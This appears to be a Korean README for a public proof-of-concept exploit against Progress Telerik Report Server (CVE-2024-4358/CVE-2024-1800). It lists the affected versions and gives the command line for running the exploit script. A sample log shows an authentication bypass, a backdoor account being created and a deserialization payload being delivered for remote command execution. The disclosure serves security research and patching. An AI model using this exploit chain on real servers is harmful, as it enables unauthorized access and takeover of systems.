sinsinology/cve-2024-4358Progress Telerik Report Server 사전 인증 RCE 체인 (CVE-2024-4358/CVE-2024-1800)
Telerik Report Server 역직렬화 및 인증 우회 익스플로잇 체인 (CVE-2024-4358/CVE-2024-1800)
취약점의 근본 원인 분석은 제 블로그에서 확인할 수 있습니다. poc
기본적으로 익스플로잇이 공개된 시점의 모든 버전이며, 향후 참고를 위해 아래 목록의 모든 주요/부 버전입니다:
2012
2017
2018
2019
2020
2021
2022
2023
2024
python CVE-2024-4358.py --target http://192.168.253.128:83 -c "whoami"
(^_^) Progress Telerik Report Server pre-authenticated RCE (CVE-2024-4358/CVE-2024-1800) || Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)
(*) random backdoor username: oelycslyun
(*) random backdoor password: cqgnacxljo
(*) Attempting to bypass authentication
(+) Authentication bypass was successful, backdoor account created
(+) Saving credentials to credentials.txt
(+) Successfully authenticated as oelycslyun with password cqgnacxljo
(*) got token: zfCch_LNv0PyKfe7eBDYKXV70IOotwNQ2p82aX-JHIMCisVnTW9PWWYUKljhcRw5alubNOg_gXoHT6-hJk4VO-jGZuzmisLIi5A
(*) Generated random report name: qvwdycugmc
(*) Creating malicious report under name qvwdycugmc
(*) Deserialization exploit finished
최신 버전으로 업데이트하거나 Progress Advisory의 지침에 따라 대응하십시오.
이 소프트웨어는 학술 연구 및 효과적인 방어 기법 개발을 목적으로만 제작되었으며, 명시적으로 승인된 경우를 제외하고 시스템을 공격하는 데 사용하기 위한 것이 아닙니다. 프로젝트 유지관리자는 이 소프트웨어의 오용에 대해 책임을 지지 않습니다. 책임감 있게 사용하십시오.